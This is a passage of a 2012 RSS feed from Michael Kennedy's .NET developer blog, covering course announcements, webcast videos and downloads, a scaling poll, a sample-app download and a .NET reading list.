		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/secondns.png" medium="image">
			<media:title type="html">secondns</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/func.png" medium="image">
			<media:title type="html">func</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/intel.png" medium="image">
			<media:title type="html">intel</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/isfirst.png" medium="image">
			<media:title type="html">isfirst</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/once.png" medium="image">
			<media:title type="html">once</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/onceoneout.png" medium="image">
			<media:title type="html">onceoneout</media:title>
		</media:content>

		<media:content url="http://michaelckennedy.files.wordpress.com/2012/10/warn.png" medium="image">
			<media:title type="html">warn</media:title>
		</media:content>
	</item>
		<item>
		<title>Join Me at Guerrilla .NET in November</title>
		<link>http://blog.michaelckennedy.net/2012/09/25/join-me-at-guerrilla-net-in-november/</link>
		<comments>http://blog.michaelckennedy.net/2012/09/25/join-me-at-guerrilla-net-in-november/#comments</comments>
		<pubDate>Tue, 25 Sep 2012 16:45:18 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[Azure]]></category>
		<category><![CDATA[Cloud]]></category>
		<category><![CDATA[Debugging]]></category>
		<category><![CDATA[jQuery]]></category>
		<category><![CDATA[LINQ]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[NoSQL]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=571</guid>
		<description><![CDATA[Just a quick announcement for an developer upcoming event I&#8217;ll be participating in&#8230; Early November I&#8217;ll be co-teaching DevelopMentor&#8217;s biggest .NET developer event of the year in Los Angeles: Guerrilla .NET. If you haven&#8217;t been to Guerrilla .NET, it&#8217;s a &#8230; <a href="http://blog.michaelckennedy.net/2012/09/25/join-me-at-guerrilla-net-in-november/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=571&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Just a quick announcement for an developer upcoming event I&#8217;ll be participating in&#8230;</p>
<p>Early November I&#8217;ll be co-teaching DevelopMentor&#8217;s biggest .NET developer event of the year in Los Angeles: <a title="View Guerrilla .NET at develop.com (new window)" href="http://www.develop.com/training-course/guerrilla-.net" target="_blank">Guerrilla .NET</a>. If you haven&#8217;t been to Guerrilla .NET, it&#8217;s a very unique and memorable event &#8211; it&#8217;s unlike almost any other training class you&#8217;ve seen. We&#8217;ve <strong>just</strong> updated the outline with the most important current and upcoming technologies (see below).</p>
<p>I hope to see you there! Feel free to <a href="/contact" target="_blank">contact</a> me with any questions.<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<div style="float:left;"><img src="http://cdn1.hubspot.com/hub/157116/guerrilla.jpg" alt="" width="222" /></div>
<div style="float:left;text-align:center;margin-left:10px;"><span style="font-size:18px;">Guerrilla .NET<br />
November 5th-9th<br />
in Los Angeles</span></div>
<div style="clear:both;"></div>
<table cellspacing="15" bgcolor="#0f7394">
<tbody>
<tr>
<td rowspan="2" colspan="2" width="600px"><span style="color:#ffffff;"><strong><em>    Newly Updated with: Windows 8, VS 2012, MVC 4 and Entity Framework 5.</em></strong></span></td>
</tr>
</tbody>
</table>
<p><a href="http://www.develop.com/training-course/guerrilla-.net" target="_blank">Guerrilla .NET</a> provides a deep exploration of .NET design philosophy and practical advice. You learn a myriad of patterns and best practices, and you get hands-on experience developing applications using Visual Studio 2012 and Windows 8. Learn to write code using new .NET class libraries like Entity Framework 5, MVC 4, and even the new Windows Runtime (WinRT).<br />
<strong><br />
Course Topic Highlights:</strong></p>
<ul>
<li>Windows 8 For The Developer</li>
<li>LINQ and Entity Framework 5</li>
<li>XAML-based Programming</li>
<li>ASP.NET MVC 4.0: Beyond the Basics</li>
<li>Introduction to jQuery</li>
<li>Model-View-ViewModel for WPF and Metro</li>
<li>Building RESTful Services with The ASP.NET Web API</li>
<li>Programming Win8 Apps: Metro / WinRT</li>
<li>Entity Framework 5 and Code First</li>
<li>PFx: Task: a Unified Threading API</li>
<li>PFx: The Parallel Class and Concurrent Data Structures</li>
<li>C# 5.0</li>
<li>What’s New in .NET 4.5</li>
<li>Cloud Computing for the .NET Developer: IaaS, PaaS, and Patterns</li>
<li>Applied NoSQL with LINQ, and MongoDB</li>
<li>KnockoutJS</li>
<li>Power Debugging</li>
<li>Design Patterns for Testable Applications</li>
<li>Topic X</li>
</ul>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/developmentor/'>DevelopMentor</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/azure/'>Azure</a>, <a href='http://blog.michaelckennedy.net/tag/cloud/'>Cloud</a>, <a href='http://blog.michaelckennedy.net/tag/debugging/'>Debugging</a>, <a href='http://blog.michaelckennedy.net/tag/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/tag/jquery/'>jQuery</a>, <a href='http://blog.michaelckennedy.net/tag/linq/'>LINQ</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/571/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/571/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=571&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/09/25/join-me-at-guerrilla-net-in-november/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>

		<media:content url="http://cdn1.hubspot.com/hub/157116/guerrilla.jpg" medium="image" />
	</item>
		<item>
		<title>Download My Web Apps Have HotKeys Too Sample App</title>
		<link>http://blog.michaelckennedy.net/2012/08/30/download-my-web-apps-have-hotkeys-too-sample-app/</link>
		<comments>http://blog.michaelckennedy.net/2012/08/30/download-my-web-apps-have-hotkeys-too-sample-app/#comments</comments>
		<pubDate>Thu, 30 Aug 2012 16:37:26 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[jQuery]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Open Source]]></category>
		<category><![CDATA[Plugins]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=560</guid>
		<description><![CDATA[I recently blogged about how web apps have hotkeys too. To encourage more developers to add hotkeys to their web applications, I created a jQuery plugin called jQuery.hotKeyMap.js and a sample application. I just added a download link for the &#8230; <a href="http://blog.michaelckennedy.net/2012/08/30/download-my-web-apps-have-hotkeys-too-sample-app/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=560&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>I recently blogged about how web apps have hotkeys too. To encourage more developers to add hotkeys to their web applications, I created a jQuery plugin called <a href="http://blog.michaelckennedy.net/2012/03/15/add-hot-keys-to-web-apps-with-this-jquery-plugin/">jQuery.hotKeyMap.js</a> and a <a href="http://www.michaelckennedy.net/Samples/blog/HotKeys/" target="_blank">sample application</a>.</p>
<p>I just added a download link for the source code:</p>
<p><a title="WebAppsHaveHotKeysTooSample-MichaelKennedy-v1.zip" href="http://www.michaelckennedy.net/samples/blog/HotKeys/Content/WebAppsHaveHotKeysTooSample-MichaelKennedy-v1.zip">WebAppsHaveHotKeysTooSample-MichaelKennedy-v1.zip</a></p>
<p>It&#8217;s an ASP.NET MVC 3 web app. Hope you find it useful!</p>
<p>Cheers,<br />
<a href="https://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/jquery/'>jQuery</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/open-source/'>Open Source</a>, <a href='http://blog.michaelckennedy.net/tag/plugins/'>Plugins</a>, <a href='http://blog.michaelckennedy.net/tag/web/'>web</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/560/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/560/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=560&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/08/30/download-my-web-apps-have-hotkeys-too-sample-app/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Asynchronous Programming in .NET 4.5 (Video)</title>
		<link>http://blog.michaelckennedy.net/2012/07/23/asynchronous-programming-in-net-4-5-video/</link>
		<comments>http://blog.michaelckennedy.net/2012/07/23/asynchronous-programming-in-net-4-5-video/#comments</comments>
		<pubDate>Mon, 23 Jul 2012 23:31:40 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[Video]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[Threading]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=534</guid>
		<description><![CDATA[Here&#8217;s a recording of a webcast I did for DevelopMentor covering .NET 4.5 and .NET 4 asynchrouns programming concepts, including Task&#60;T&#62;, async, and await. Enjoy! @mkennedy PS &#8211; Be sure to watch it in 720p quality. Filed under: DevelopMentor, Video &#8230; <a href="http://blog.michaelckennedy.net/2012/07/23/asynchronous-programming-in-net-4-5-video/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=534&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Here&#8217;s a recording of a webcast I did for DevelopMentor covering .NET 4.5 and .NET 4 asynchrouns programming concepts, including <strong>Task&lt;T&gt;</strong>, <strong>async</strong>, and <strong>await</strong>.</p>
<p>Enjoy!<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/MCW_eJA2FeY?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;wmode=transparent' frameborder='0'></iframe></span>
<p>PS &#8211; Be sure to watch it in 720p quality.</p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/category/video/'>Video</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/threading/'>Threading</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/534/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/534/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=534&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/07/23/asynchronous-programming-in-net-4-5-video/feed/</wfw:commentRss>
		<slash:comments>12</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>How Are You Scaling ASP.NET?</title>
		<link>http://blog.michaelckennedy.net/2012/05/01/how-are-you-scaling-asp-net/</link>
		<comments>http://blog.michaelckennedy.net/2012/05/01/how-are-you-scaling-asp-net/#comments</comments>
		<pubDate>Tue, 01 May 2012 18:13:23 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[Polls]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[polls]]></category>
		<category><![CDATA[web]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=531</guid>
		<description><![CDATA[There are some interesting debates out there around scaling ASP.NET.  How do you do it? Please fill out this poll and tell the world: Interested in a blog post on this? Take it to the comments section. Cheers, @mkennedy Filed &#8230; <a href="http://blog.michaelckennedy.net/2012/05/01/how-are-you-scaling-asp-net/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=531&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>There are some interesting debates out there around scaling ASP.NET.  How do you do it? Please fill out this poll and tell the world:</p>
<a name="pd_a_6189305"></a>
<div class="PDS_Poll" id="PDI_container6189305" data-settings="{&quot;url&quot;:&quot;http:\/\/static.polldaddy.com\/p\/6189305.js&quot;}" style="display:inline-block;"></div>
<div id="PD_superContainer"></div>
<noscript><a href="http://polldaddy.com/poll/6189305">Take Our Poll</a></noscript>
<p>Interested in a blog post on this? Take it to the comments section.</p>
<p>Cheers,<br />
@<a href="https://twitter.com/#!/mkennedy" target="_blank">mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/polls/'>Polls</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/polls-2/'>polls</a>, <a href='http://blog.michaelckennedy.net/tag/web/'>web</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/531/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/531/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=531&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/05/01/how-are-you-scaling-asp-net/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Michael&#8217;s .NET Suggested Reading List</title>
		<link>http://blog.michaelckennedy.net/2012/04/27/michaels-net-suggested-reading-list/</link>
		<comments>http://blog.michaelckennedy.net/2012/04/27/michaels-net-suggested-reading-list/#comments</comments>
		<pubDate>Fri, 27 Apr 2012 23:32:57 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[.NET]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=527</guid>
		<description><![CDATA[With Guerrilla .NET from DevelopMentor coming up on May 7th, it&#8217;s time to refresh my .NET reading list. Want to get ready for this class or a class like it or just get a quick-start on .NET? Here&#8217;s what I would recommend. &#8230; <a href="http://blog.michaelckennedy.net/2012/04/27/michaels-net-suggested-reading-list/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=527&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>With <a href="http://www.develop.com/training-course/guerrilla-.net" target="_blank">Guerrilla .NET</a> from DevelopMentor coming up on May 7th, it&#8217;s time to refresh my .NET reading list.</p>
<p>Want to get ready for this class or a class like it or just get a quick-start on .NET? Here&#8217;s what I would recommend. There are many books covering the topics (but no small list covering most). Instead of trying to read them all in-depth (a fairly unattainable goal), I would suggest that you read the first 2 &#8211; 3 chapters from all of these books listed below. This would cost about $250 if they buy them all, but they are all available on Safari Books Online.</p>
<p><a href="http://my.safaribooksonline.com/" target="_blank">http://my.safaribooksonline.com/</a></p>
<p>You can get the free trial for 10 days and if you like it you can then pay $19 / month and have access to all these books (see the coupon at the bottom of the trial page on safari online).</p>
<p><strong>CLR via C#, Third Edition (foundational knowledge)</strong><br />
<a href="http://my.safaribooksonline.com/book/programming/csharp/9780735640467" target="_blank">http://my.safaribooksonline.com/book/programming/csharp/9780735640467</a></p>
<p><strong>WPF 4 Unleashed</strong><br />
<a href="http://my.safaribooksonline.com/book/programming/microsoft-wpf/9780132174367" target="_blank">http://my.safaribooksonline.com/book/programming/microsoft-wpf/9780132174367</a></p>
<p><strong>Silverlight 4 in Action</strong><br />
<a href="http://my.safaribooksonline.com/book/web-development/silverlight/9781935182375" target="_blank">http://my.safaribooksonline.com/book/web-development/silverlight/9781935182375</a></p>
<p><strong>Pro ASP.NET MVC 3 Framework, Third Edition:</strong><br />
<a href="http://my.safaribooksonline.com/9781430234043">http://my.safaribooksonline.com/9781430234043</a></p>
<p><strong>Programming Entity Framework</strong><br />
<a href="http://my.safaribooksonline.com/book/software-engineering-and-development/9780596807276" target="_blank">http://my.safaribooksonline.com/book/software-engineering-and-development/9780596807276</a></p>
<p><strong>RESTful .NET</strong><br />
<a href="http://my.safaribooksonline.com/book/programming/microsoft-dotnet/9780596155025" target="_blank">http://my.safaribooksonline.com/book/programming/microsoft-dotnet/9780596155025</a></p>
<p><strong>Learning WCF</strong><br />
<a href="http://my.safaribooksonline.com/book/programming/microsoft-wcf/9780596101626" target="_blank">http://my.safaribooksonline.com/book/programming/microsoft-wcf/9780596101626</a></p>
<p><strong>C# in Depth</strong><br />
<a href="http://my.safaribooksonline.com/book/-/9781935182474" target="_blank">http://my.safaribooksonline.com/book/-/9781935182474</a></p>
<p><strong>jQuery in Action</strong><br />
<a href="http://my.safaribooksonline.com/book/web-development/jquery/9781935182320" target="_blank">http://my.safaribooksonline.com/book/web-development/jquery/9781935182320</a></p>
<p><strong>Host Your Web Site in the Cloud</strong><br />
<a href="http://my.safaribooksonline.com/book/web-development/9780980576832" target="_blank">http://my.safaribooksonline.com/book/web-development/9780980576832</a></p>
<p><strong>MongoDB: The Definitive Guide</strong><br />
<a href="http://my.safaribooksonline.com/book/databases/mongodb/9781449381578" target="_blank">http://my.safaribooksonline.com/book/databases/mongodb/9781449381578</a></p>
<p><strong>Agile Principles, Patterns, and Practices in C#</strong><br />
<a href="http://my.safaribooksonline.com/book/programming/csharp/0131857258" target="_blank">http://my.safaribooksonline.com/book/programming/csharp/0131857258</a></p>
<p><strong>Debugging Applications for Microsoft .NET (sections on WinDBG)</strong><br />
<a href="http://my.safaribooksonline.com/book/programming/microsoft-dotnet/9780735645349" target="_blank">http://my.safaribooksonline.com/book/programming/microsoft-dotnet/9780735645349</a></p>
<p>Cheers,<br />
@<a href="https://twitter.com/#!/mkennedy" target="_blank">mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/developmentor/'>DevelopMentor</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/developmentor/'>DevelopMentor</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/527/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/527/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=527&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/04/27/michaels-net-suggested-reading-list/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Downloads from Building Rich Input Forms in ASP.NET MVC Webcast</title>
		<link>http://blog.michaelckennedy.net/2012/04/11/downloads-from-building-rich-input-forms-in-asp-net-mvc-webcast/</link>
		<comments>http://blog.michaelckennedy.net/2012/04/11/downloads-from-building-rich-input-forms-in-asp-net-mvc-webcast/#comments</comments>
		<pubDate>Thu, 12 Apr 2012 05:27:46 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[Speaking]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[LINQ]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[NoSQL]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=509</guid>
		<description><![CDATA[Thanks to all who attended my webcast yesterday. Here is the recorded video, slides, and demo application. Slides: Kennedy-Rich-Forms-with-ASP.NET-MVC-Slides.zip Demo Application: Kennedy-MVC-Forms-Demo.zip Video Recording: Remember, you&#8217;ll need to run MongoDB to make the web app work. Read the readme in the zip &#8230; <a href="http://blog.michaelckennedy.net/2012/04/11/downloads-from-building-rich-input-forms-in-asp-net-mvc-webcast/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=509&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>Thanks to all who attended my webcast yesterday. Here is the recorded video, slides, and demo application.</p>
<p><strong><span id="more-509"></span>Slides</strong>: <a href="https://s3.amazonaws.com/michael-kennedy/downloads/MVC-Webcast/Kennedy-Rich-Forms-with-ASP.NET-MVC-Slides.zip">Kennedy-Rich-Forms-with-ASP.NET-MVC-Slides.zip<br />
</a><strong>Demo Application</strong>: <a href="https://s3.amazonaws.com/michael-kennedy/downloads/MVC-Webcast/Kennedy-MVC-Forms-Demo.zip">Kennedy-MVC-Forms-Demo.zip</a></p>
<p><strong>Video Recording</strong>:</p>
<p><span class='embed-youtube' style='text-align:center; display: block;'><iframe class='youtube-player' type='text/html' width='584' height='359' src='http://www.youtube.com/embed/PDrlzgGSaSk?version=3&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;showinfo=1&#038;iv_load_policy=1&#038;hd=1&#038;wmode=transparent' frameborder='0'></iframe></span></p>
<p>Remember, you&#8217;ll need to run MongoDB to make the web app work. Read the readme in the zip file for details (it&#8217;s easy!).</p>
<p>Cheers,<br />
<a href="http://twitter.com/mkennedy" target="_blank">@mkennedy</a></p>
<br />Filed under: <a href='http://blog.michaelckennedy.net/category/developmentor/'>DevelopMentor</a>, <a href='http://blog.michaelckennedy.net/category/speaking/'>Speaking</a> Tagged: <a href='http://blog.michaelckennedy.net/tag/net/'>.NET</a>, <a href='http://blog.michaelckennedy.net/tag/asp-net/'>ASP.NET</a>, <a href='http://blog.michaelckennedy.net/tag/linq/'>LINQ</a>, <a href='http://blog.michaelckennedy.net/tag/mvc/'>MVC</a>, <a href='http://blog.michaelckennedy.net/tag/nosql/'>NoSQL</a>, <a href='http://blog.michaelckennedy.net/tag/screencasts/'>Screencasts</a>, <a href='http://blog.michaelckennedy.net/tag/visual-studio/'>Visual Studio</a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/michaelckennedy.wordpress.com/509/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/michaelckennedy.wordpress.com/509/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=509&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://blog.michaelckennedy.net/2012/04/11/downloads-from-building-rich-input-forms-in-asp-net-mvc-webcast/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		<georss:point>0.000000 0.000000</georss:point>
		<geo:lat>0.000000</geo:lat>
		<geo:long>0.000000</geo:long>
		<media:content url="http://0.gravatar.com/avatar/cb053688f95dbebf60e5c19a3d05110c?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">mkennedy66996693</media:title>
		</media:content>
	</item>
		<item>
		<title>Webcast: Building Rich Input Forms in ASP.NET MVC Tuesday April 10</title>
		<link>http://blog.michaelckennedy.net/2012/04/06/webcast-building-rich-input-forms-in-asp-net-mvc-tuesday-april-10/</link>
		<comments>http://blog.michaelckennedy.net/2012/04/06/webcast-building-rich-input-forms-in-asp-net-mvc-tuesday-april-10/#comments</comments>
		<pubDate>Fri, 06 Apr 2012 19:42:41 +0000</pubDate>
		<dc:creator>Michael Kennedy</dc:creator>
				<category><![CDATA[DevelopMentor]]></category>
		<category><![CDATA[.NET]]></category>
		<category><![CDATA[ASP.NET]]></category>
		<category><![CDATA[MVC]]></category>
		<category><![CDATA[Screencasts]]></category>
		<category><![CDATA[Visual Studio]]></category>

		<guid isPermaLink="false">http://blog.michaelckennedy.net/?p=505</guid>
		<description><![CDATA[[Update: View the recordings and downloads.] Want to learn more about building great forms in MVC? Attend my free DevelopMentor webcast this Tuesday. Webcast: Building Rich Input Forms in ASP.NET MVC https://www3.gotomeeting.com/register/559059054 In this webcast we will explore the powerful &#8230; <a href="http://blog.michaelckennedy.net/2012/04/06/webcast-building-rich-input-forms-in-asp-net-mvc-tuesday-april-10/">Continue reading <span class="meta-nav">&#8594;</span></a><img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=blog.michaelckennedy.net&#038;blog=33101121&#038;post=505&#038;subd=michaelckennedy&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
				<content:encoded><![CDATA[<p>[Update: <a href="http://blog.michaelckennedy.net/2012/04/11/downloads-from-building-rich-input-forms-in-asp-net-mvc-webcast/">View the recordings and downloads</a>.]</p>
<p>Want to learn more about building great forms in MVC? Attend my free DevelopMentor webcast this Tuesday.</p>
<blockquote><p><strong>Webcast: Building Rich Input Forms in ASP.NET MVC</strong></p>
<p><strong></strong><a href="https://www3.gotomeeting.com/register/559059054">https://www3.gotomeeting.com/register/559059054<br />
</a></p>
<p>In this webcast we will explore the powerful features of ASP.NET MVC that allow us to build rich forms that accept user input. We&#8217;ll begin by discussing the built-in HTML Helpers and Model Binding. Next we&#8217;ll add validation and show how we can do both client- and server-side validation using DataAnnotations. Finally, we&#8217;ll see that sometimes using domain models as our form-bound objects doesn&#8217;t make sense. We&#8217;ll look at more advanced scenarios using View Models.</p></blockquote>
<p>Cheers,<br />
<a href="https://twitter.com/#!/mkennedy" target="_blank">@mkennedy</a></p>
